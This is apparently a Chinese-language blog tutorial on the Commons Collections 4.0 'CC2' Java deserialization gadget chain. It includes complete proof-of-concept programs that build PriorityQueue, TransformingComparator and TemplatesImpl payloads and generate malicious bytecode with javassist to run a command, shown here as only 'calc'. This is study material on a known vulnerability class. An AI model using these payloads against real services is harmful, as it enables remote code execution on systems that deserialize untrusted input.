CC2链
前文:利用TemplatesImpl动态加载字节码
链子对应版本:Common Collection 4.0
pom.xml:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>untitled10</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
</dependencies>
</project>
链子有两种实现方式,第二种是基于ysoserial的实现方式做的,用到了javassist依赖,用于生成恶意类的字节码,也可以不装这个依赖,手动编译恶意类然后读取其字节码,效果一样。
javassist生成任意类的字节码的简单演示(比较简单,网上复制的):
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//向pool容器类搜索路径的起始位置插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名,生成的类的名称就不再是Cat
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//设置AbstractTranslet类为该类的父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//将该类转换为字节数组
byte[] classBytes = cc.toBytecode();
//将一维数组classBytes放到二维数组targetByteCodes的第一个元素
链子一
链子的终点和CC1链一样,仍然是InvokeTransformer的transform方法实现任意类任意方法执行
还是查找transform方法的执行点,在TransformComparator中有个compare方法:
根据CC1链,我们需要让transform的主体也就是属性transformer是CC1链中我们的那个ChainedTransformer对象
看到TransformComparator的构造方法:
可以直接用new构造赋值。
因此直接使用
Class runtimeClass = Runtime.class;
Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
ChainedTransformer chtfm = new ChainedTransformer(transes);
// chtfm.transform(runtimeClass);
TransformingComparator tc = new TransformingComparator(chtfm);
就获得我们想要的TransformingComparator对象
继续往下找,compare方法在JAVA的优先级队列类PriorityQueue中有实现:
而PriorityQueue的readObject方法正好会用到这个compare。找到readObject方法:
跟进最后一行的heapify方法:
跟进siftDown方法:
跟进siftDownUsingComparator方法:
这里就跟到了compare方法
而对于属性queue,看到writeObject方法:
会遍历queue进行writeObject,对应的readObject依次读入queue的各个对象,并检查queue是否符合writeObject时的数量。
这样整个链子就完结了。
至于参数,由于我们直接使用CC1链中以ConstantTransformer开头的ChainedTransformer链式调用transform的方法,就不用关心给到transform的参数是什么了(ConstantTransformer固定返回我们想要的对象,给第二个transform作为参数)
只需要让comparator属性为我们构造的的tc就行了,同样这也直接在构造方法里就可以赋值
构造PriorityQueue对象之后,我们这里使用add方法对queue进行赋值,确保前面这些方法在能够正常对queue遍历即可
PriorityQueue pq = new PriorityQueue(tc);
pq.add(1);
pq.add(2);
但是这样会出现问题。
跟进add方法:
跟进offer:
跟进siftUp:
这里也用到了siftUpUsingComparator方法,这会在序列化数据之前就执行我们的恶意命令
这是无所谓的,问题关键在于compare方法中,在命令执行后会抛出一个异常
这会导致我们构造序列化数据的过程直接中断。
这是因为这一句
我们在构造TransformingComparator对象的时候,用的是这个构造方法
于是就会跟进调用这个重载的构造方法
因此decorated属性被设置为ComparatorUtils.NATURAL_COMPARATOR
跟进这个ComparatorUtils看看
那么跟进看看ComparableComparator.
再跟进到当前类的INSTANCE
到这里指向了最终的对象,也就是说执行了ComparableComparator的compare方法,给的两个参数是transform方法返回的结果
继续跟进到ComparableComparator的compare方法
参数类型要求的是泛型E,而E在类中的声明是:
这要求参数必须是实现了Comparable接口的类型。而我们transform执行的是exec方法,显然返回的对象类型java.lang.Process没有实现这个接口,因此就报错了
解决的办法有很多,一种是在构造PriorityQueue用数字做参数,这样走的就是这个构造器
comparator为null,这样执行siftUp和siftDown的时候就会走else分支,执行siftUpComparable
这个方法没有compare,处理正常数据就不会报错。
在add数据之后,通过反射把PriorityQueue对象的comparator设置成我们的tc,就拿到了我们最终想要序列化的PriorityQueue对象了
POC:
public class Main {
public static void serialize(Object o) throws Exception{
ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt"));
objout.writeObject(o);
}
public static void unserialize() throws Exception{
ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt"));
objinp.readObject();
}
public static void main(String[] args) throws Exception{
//链子1
Class runtimeClass = Runtime.class;
Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
ChainedTransformer chtfm = new ChainedTransformer(transes);
// chtfm.transform(runtimeClass);
TransformingComparator tc = new TransformingComparator(chtfm);
tc.compare(runtimeClass,runtimeClass);
//
PriorityQueue pq = new PriorityQueue(1);//创建无comparator的PriorityQueue
pq.add(1);
pq.add(2);
Field cp = PriorityQueue.class.getDeclaredField("comparator");//通过反射设置comparator
cp.setAccessible(true);
cp.set(pq,tc);
serialize(pq);
unserialize();
}}
运行,成功弹出两个计算器(因为一次compare进行了两次transform),并出现预期的报错
链子二
其实是一个链子,只是实现方法不一样,在ysoserial中CC2链子使用的是templatesImpl动态加载字节码的函数,最终实现exec
也就是说我们最终想实现的代码是:
TemplatesImpl tempobj = new TemplatesImpl();
setValue(tempobj,"_name","123");
setValue(tempobj,"_bytecodes",generateByteCode());
setValue(tempobj,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer ivt = new InvokerTransformer("newTransformer", null, null);
ivt.transform(tempobj)
(TemplatesImpl的newTransformer最终是能跟到defineClass的)
其中generateByteCode方法,使用javassist返回首元素是恶意类的字节码的二维byte数组:
public static byte[][] generateByteCode() throws Exception{ //返回恶意类的字节码的二维byte数组,该类在加载时即执行恶意的静态代码块
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = cp.makeClass("evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
byte[][] evilbyte = new byte[][]{cc.toBytecode()};
return evilbyte;
}
除此之外,实现方式还略有不同,一是因为templatesImpl和Runtime不一样,它是一个可序列化的类,二是因为CC2链传给transform的参数是可控的(和CC1不一样),因此这里没有用到ChainedTransformer和ConstantTransformer而是直接将templatesImpl对象作为参数传给了InvokeTransformer的transform
看看参数是怎么传递的
直接看最后的siftDownUsingComparator,compare拿到的参数c和queue[right]就是直接从queue中取得的对象。
而compare方法中,拿到的两个参数obj1和obj2都是transform方法的参数
因此只要让我们的PriorityQueue对象的queue数组是两个我们的tempobj就可以了
这里换一种方式解决序列化时候报错的问题,用反射而非add设置我们的queue属性。由于不是add,我们还需要设置好数组大小size属性,不然size为0,走到这里就会终止:
Field qf_queue = PriorityQueue.class.getDeclaredField("queue");
qf_queue.setAccessible(true);
qf_queue.set(pq,new Object[]{tempobj,tempobj});
Field qf_size = PriorityQueue.class.getDeclaredField("size");
qf_size.setAccessible(true);
qf_size.set(pq,2);
完整POC:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
//TIP To <b>Run</b> code, press <shortcut actionId="Run"/> or
// click the <icon src="AllIcons.Actions.Execute"/> icon in the gutter.
public class Main {
public static void serialize(Object o) throws Exception{
ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt"));
objout.writeObject(o);
}
public static void unserialize() throws Exception{
ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt"));
objinp.readObject();
}
public static byte[][] generateByteCode() throws Exception{ //返回恶意类的字节码的二维byte数组,该类在加载时即执行恶意的静态代码块
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = cp.makeClass("evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
byte[][] evilbyte = new byte[][]{cc.toBytecode()};
return evilbyte;
}
public static <T> void setValue(TemplatesImpl obj, String fname, T newf) throws Exception {
Field filed = TemplatesImpl.class.getDeclaredField(fname);
filed.setAccessible(true);
filed.set(obj,newf);
}//利用反射设置TemplatesImpl的私有属性
public static void main(String[] args) throws Exception{
//链子1
// Class runtimeClass = Runtime.class;
// Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
// ChainedTransformer chtfm = new ChainedTransformer(transes);
//// chtfm.transform(runtimeClass);
// TransformingComparator tc = new TransformingComparator(chtfm);
// tc.compare(runtimeClass,runtimeClass);
////
// PriorityQueue pq = new PriorityQueue(1);
//
// pq.add(1);
// pq.add(2);
// Field cp = PriorityQueue.class.getDeclaredField("comparator");
// cp.setAccessible(true);
// cp.set(pq,tc);
// serialize(pq);
// unserialize();
//链子2
TemplatesImpl tempobj = new TemplatesImpl();
setValue(tempobj,"_name","123");
setValue(tempobj,"_bytecodes",generateByteCode());
setValue(tempobj,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer ivt = new InvokerTransformer("newTransformer", null, null);
// ivt.transform(tempobj);
// PriorityQueue pq = new PriorityQueue();
// Field cp = PriorityQueue.class.getDeclaredField("comparator");
// cp.setAccessible(true);
// cp.set(pq,ivt);
TransformingComparator tc = new TransformingComparator(ivt);
PriorityQueue pq = new PriorityQueue(tc);
Field qf_queue = PriorityQueue.class.getDeclaredField("queue");
qf_queue.setAccessible(true);
qf_queue.set(pq,new Object[]{tempobj,tempobj});
Field qf_size = PriorityQueue.class.getDeclaredField("size");
qf_size.setAccessible(true);
qf_size.set(pq,2);
serialize(pq);
unserialize();
}
}
运行,成功弹计算器
梳理下链子:
PriorityQueue.readObject ->
PriorityQueue.heapify ->
PriorityQueue.siftDown ->
PriorityQueue.siftDownUsingComparator ->
TransformingComparator.compare ->
InvokerTransformer.transform ->
TemplatesImpl.newTransformer ->
TemplatesImpl.getTransletInstance ->
TemplatesImpl.defineTransletClasses ->
ClassLoader.defineClass
Comments NOTHING